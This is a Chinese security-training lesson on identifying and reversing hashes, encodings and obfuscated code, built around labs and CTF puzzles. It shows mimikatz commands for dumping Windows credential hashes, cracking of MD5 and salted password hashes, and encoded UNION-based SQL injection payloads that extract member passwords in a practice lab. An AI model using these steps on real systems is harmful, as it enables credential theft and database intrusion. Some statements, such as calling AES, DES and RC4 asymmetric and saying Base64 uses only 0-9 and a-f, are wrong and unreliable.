第4天:基础入门-30余种加密编码进制&;Web&;数据库&;系统&;代码&;参数值

第4天:基础入门-30余种加密编码进制&Web&数据库&系统&代码&参数值

第4天:基础入门-30余种加密编码进制&;Web&;数据库&;系统&;代码&;参数值_第1张图片

一、知识点

1. 存储密码加密-Web&数据库&系统
 2. 传输数据编码-各类组合传输参数值
 3. 代码特性加密-JS&PHP&NET&JAVA
 4. 数据显示编码-字符串数据显示编码

二、本课意义:

1.了解加密编码进制在安全测试中的存在
2.掌握常见的加密解密编码解码进制互转的操作
3.了解常见的加密解密编码解密进制互转的影响

旨在解决类似疑问,提供思路:
你是否碰到不知道的加密方式?
你是否碰到无法找到的解密平台?
你是否碰到不知道如何解密的字符串?
你是否准备参加CTF比赛补充此类知识点?

三、详细点:

密码存储加密常见判断:

MD5 SHA1 NTLM AES DES RC4
MD5值是32位或者16位由数字"0-9"和字母"a-f"所组成的字符串

SHA1这种加密的密文特征跟MD5差不多,只不过位数是40

NTLM这种加密是Windows的哈希密码,标准通讯安全协议 系统层面

AES,DES,RC4这些都是非对称性加密算法,引入密钥,密文特征与Base64类似

应用场景:各类应用密文,自定义算法,代码分析,CTF安全比赛等
不可逆不代表是不能破解出来,可以进行爆破

例如:
加密:1*8
解密:密文/8  #这种就是可逆的

1.MD5加密:

md5不可逆

解密:枚举、碰撞
解密不直接通过算法解密,枚举,将每个加密后进行碰撞测试出每个位数对应的加密字数。
例如 :

1123的密文:539f887a5e420412
尝试生成很多的加密或对应明文的字符枚举
对1123进行加密,生成的密文进行比对,这样来进行解密的

2.传输数据编码:

BASE64 URL HEX ASCII
BASE64值是由数字"0-9"和字母"a-f"所组成的字符串,大小写敏感,结尾通常有符号=

URL编码是由数字"0-9"和字母"a-f"所组成的字符串,大小写敏感,通常以%数字字母间隔

HEX编码是计算机中数据的一种表示方法,将数据进行十六进制转换,它由0-9,A-F,组成

ASCII编码是将128个字符进行进制数来表示,常见ASCII码表大小规则:0~9

举例:
个人博客-URL解码 http://www.xiaodi8.com/search.php?q=%E5%9F%B9%E8%AE%AD //培训编码
国外WEB-BASE64解码 www.comresearch.org/researchDetails.php?id=MD==
搜狐视频-BASE64解码https://tv.sohu.com/v/MjAyMTEyMzAvbjYwMTE0NTUxMC5zaHRtbA==.html
20211230/n601145510.shtml的base64就是MjAyMTEyMzAvbjYwMTE0NTUxMC5zaHRtbA==
应用场景:参数传递(如注入影响),后期WAF绕过干扰写法应用,视频地址还原等

3.代码加密

JS前端代码加密:防止代码进行二次开发,保证版权。
JS颜文字 jother JSFUCK
颜文字特征:一堆颜文字构成的js代码,在F12中可直接解密执行
jother特征:只用! + ( ) [ ] { }这八个字符就能完成对任意字符串的编码。也可在F12中解密执行
JSFUCK特征:与jother很像,只是少了{ }

后端代码加密:
PHP .NET JAVA
PHP:乱码,头部有信息 Zend 字段
.NET:DLL封装代码文件
JAVA:JAR&CLASS文件
举例:Zend ILSpy IDEA
应用场景:版权代码加密,开发特性,CTF比赛等

4.数据加密

数据库密文加密:
MYSQL MSSQL等

数据显示编码:
UTF-8 GBK2312等

识别算法编码类型:
1、看密文位数
2、看密文的特征(数字,字幕,大小写,符号等)
3、看当前密文存在的地方(Web,数据库,操作系统等应用)

  • Web-ZZCMS-密文-MD5
自己搭建zzcms,放在phpstudy目录下,选择相对应端口就可以进行安装。
本地安装:127.0.0.1:8083
打开数据库连接工具:

第4天:基础入门-30余种加密编码进制&;Web&;数据库&;系统&;代码&;参数值_第2张图片

pass字段下的密文:21232f297a57a5a743894a0e4a801fc3
放在cmd5.com平台解密:

第4天:基础入门-30余种加密编码进制&;Web&;数据库&;系统&;代码&;参数值_第3张图片

为什么要用密文存储,为什么能解密还用密文储存
因为有一些密文是不能解密的,不是所有的密文都是能够解密的。
  • Web-Discuz-密文-MD5&Salt
搭建:下载源码,放在指定目录,修改upload文件夹名字为bbs,访问bbs,完成搭建。
找到数据库表pre_ucenter_members

1645073497332-30823c03-0ce3-4611-89ff-67196295c95d.png

有一个字段password和salt这就是MD5和salt
username:admin password:5e96d47b047e7f397db9c6088371b090 salt:bb9486。拿去cmd5.com 解密。

第4天:基础入门-30余种加密编码进制&;Web&;数据库&;系统&;代码&;参数值_第4张图片

Md5跟salt加密算法:
echo md5(md5('密文').'salt');

如果拿到密码解密不出来,有两种情况:
1.密码过于复制,确实解密不出来
2.还有其他东西,没有获取,比如salt

5.系统-Windows-密文-NTLM&HASH

• 把mimikaz放在虚拟机上,用管理员运行,执行privilege::debug和sekurlsa::logonpasswords。

第4天:基础入门-30余种加密编码进制&;Web&;数据库&;系统&;代码&;参数值_第5张图片

得到相对应的密文:

第4天:基础入门-30余种加密编码进制&;Web&;数据库&;系统&;代码&;参数值_第6张图片

NTLM:3575a0334f6346511a5c6766bec85d88
在cmd5.com中,能解密出来:

第4天:基础入门-30余种加密编码进制&;Web&;数据库&;系统&;代码&;参数值_第7张图片

6.综合-参数-密文传输-AES&BASE64

解密网站:http://tool.chacuo.net/cryptaes
AES密文会受到很多方面的干扰:

1645073832436-3686036e-6821-46ac-b9a7-50e78b8b3316.png

密码和偏移量是没办法确定的,如果不知道是不可能解密出来的。密文与base64字符集差不多。
演示mozhe:https://www.mozhe.cn/bug/detail/110
访问地址的时候:http://219.153.49.228:46908/news/list.php?id=ZUlJOGMzSmVMMHQwZHhNN3diM056Zz09
参数ZUlJOGMzSmVMMHQwZHhNN3diM056Zz09就是一个密文
拿去base64解密不出,扫描得到:

第4天:基础入门-30余种加密编码进制&;Web&;数据库&;系统&;代码&;参数值_第8张图片

访问:

第4天:基础入门-30余种加密编码进制&;Web&;数据库&;系统&;代码&;参数值_第9张图片

下载后发现源代码:
function decode($data){
	$td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,'');
	mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021');
	$data = mdecrypt_generic($td,base64_decode(base64_decode($data)));
	mcrypt_generic_deinit($td);
	mcrypt_module_close($td);
	if(substr(trim($data),-6)!=='_mozhe'){
		echo '';
	}else{
		return substr(trim($data),0,strlen(trim($data))-6);
	}
}
$id=decode($_GET['id']);
$sql="select id,title,content,time from notice where id=$id";
$info=$link->query($sql);
$arr=$info->fetch_assoc();
?>

第4天:基础入门-30余种加密编码进制&;Web&;数据库&;系统&;代码&;参数值_第10张图片

发现两次base64解码,而解密平台只有一次解密,所以需要用工具进行一次解码后,在进行平台解密。经过解码,发现明文:

第4天:基础入门-30余种加密编码进制&;Web&;数据库&;系统&;代码&;参数值_第11张图片

Wp:https://blog.csdn.net/qq_38963246/article/details/99065936
构造查询数据库语句: -1 union select 1,database(),3,4_mozhe,经过编码转化得到:MXVsZkNDTGNMTE9yMTJiVHFyNytGVm0rZ2R4ZHllMHRTbTZBNW4rQ2cwZ3ZMK1NFWFoyMkZ3ZVNUTmF5czgxQw==

第4天:基础入门-30余种加密编码进制&;Web&;数据库&;系统&;代码&;参数值_第12张图片

得到数据库后,查询数据库的表:
1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 0,1_mozhe
经过加密,注入得到:

第4天:基础入门-30余种加密编码进制&;Web&;数据库&;系统&;代码&;参数值_第13张图片

获取字段:
1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 1,1_mozhe
获取数值:
1 and 1=2 union select 1,CONCAT(name,'-',password,'-',status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1_mozhe

第4天:基础入门-30余种加密编码进制&;Web&;数据库&;系统&;代码&;参数值_第14张图片

四、代码-解密-解密反编译-Zend&Dll&Jar

Zend:通达OA的index.php是加密的代码,以Zend为开头的代码。解密平台:http://dezend.qiling.org/free.html,将代码上传至平台。这样就可以进行解密,解密要看是否复杂,能不能解密。

Dll:.net是基于Windows开发的一款脚本语言,那么后缀封装成为dll程序,利用到ILSpy工具进行解密,类似于反编译。
  • CTF赛题-buuoj-single dog-JS颜文字
Wp:https://blog.csdn.net/qq_53030229/article/details/121254834
kali安装下foremost命令:sudo apt-get update   sudo apt-get install foremost  下载完成后,执行foremost命令:

第4天:基础入门-30余种加密编码进制&;Web&;数据库&;系统&;代码&;参数值_第15张图片

解压发现两个文件:

第4天:基础入门-30余种加密编码进制&;Web&;数据库&;系统&;代码&;参数值_第16张图片

发现1.txt内容:

第4天:基础入门-30余种加密编码进制&;Web&;数据库&;系统&;代码&;参数值_第17张图片

复制内容,到http://www.hiencode.com/aaencode.html
解密结果:

第4天:基础入门-30余种加密编码进制&;Web&;数据库&;系统&;代码&;参数值_第18张图片

  • CTF赛题-xuenixiang-Jsfuck-JSFUCK
下载附件,打开查看源代码:

第4天:基础入门-30余种加密编码进制&;Web&;数据库&;系统&;代码&;参数值_第19张图片

复制到解密平台

第4天:基础入门-30余种加密编码进制&;Web&;数据库&;系统&;代码&;参数值_第20张图片

你可能感兴趣的:(小迪安全,web安全)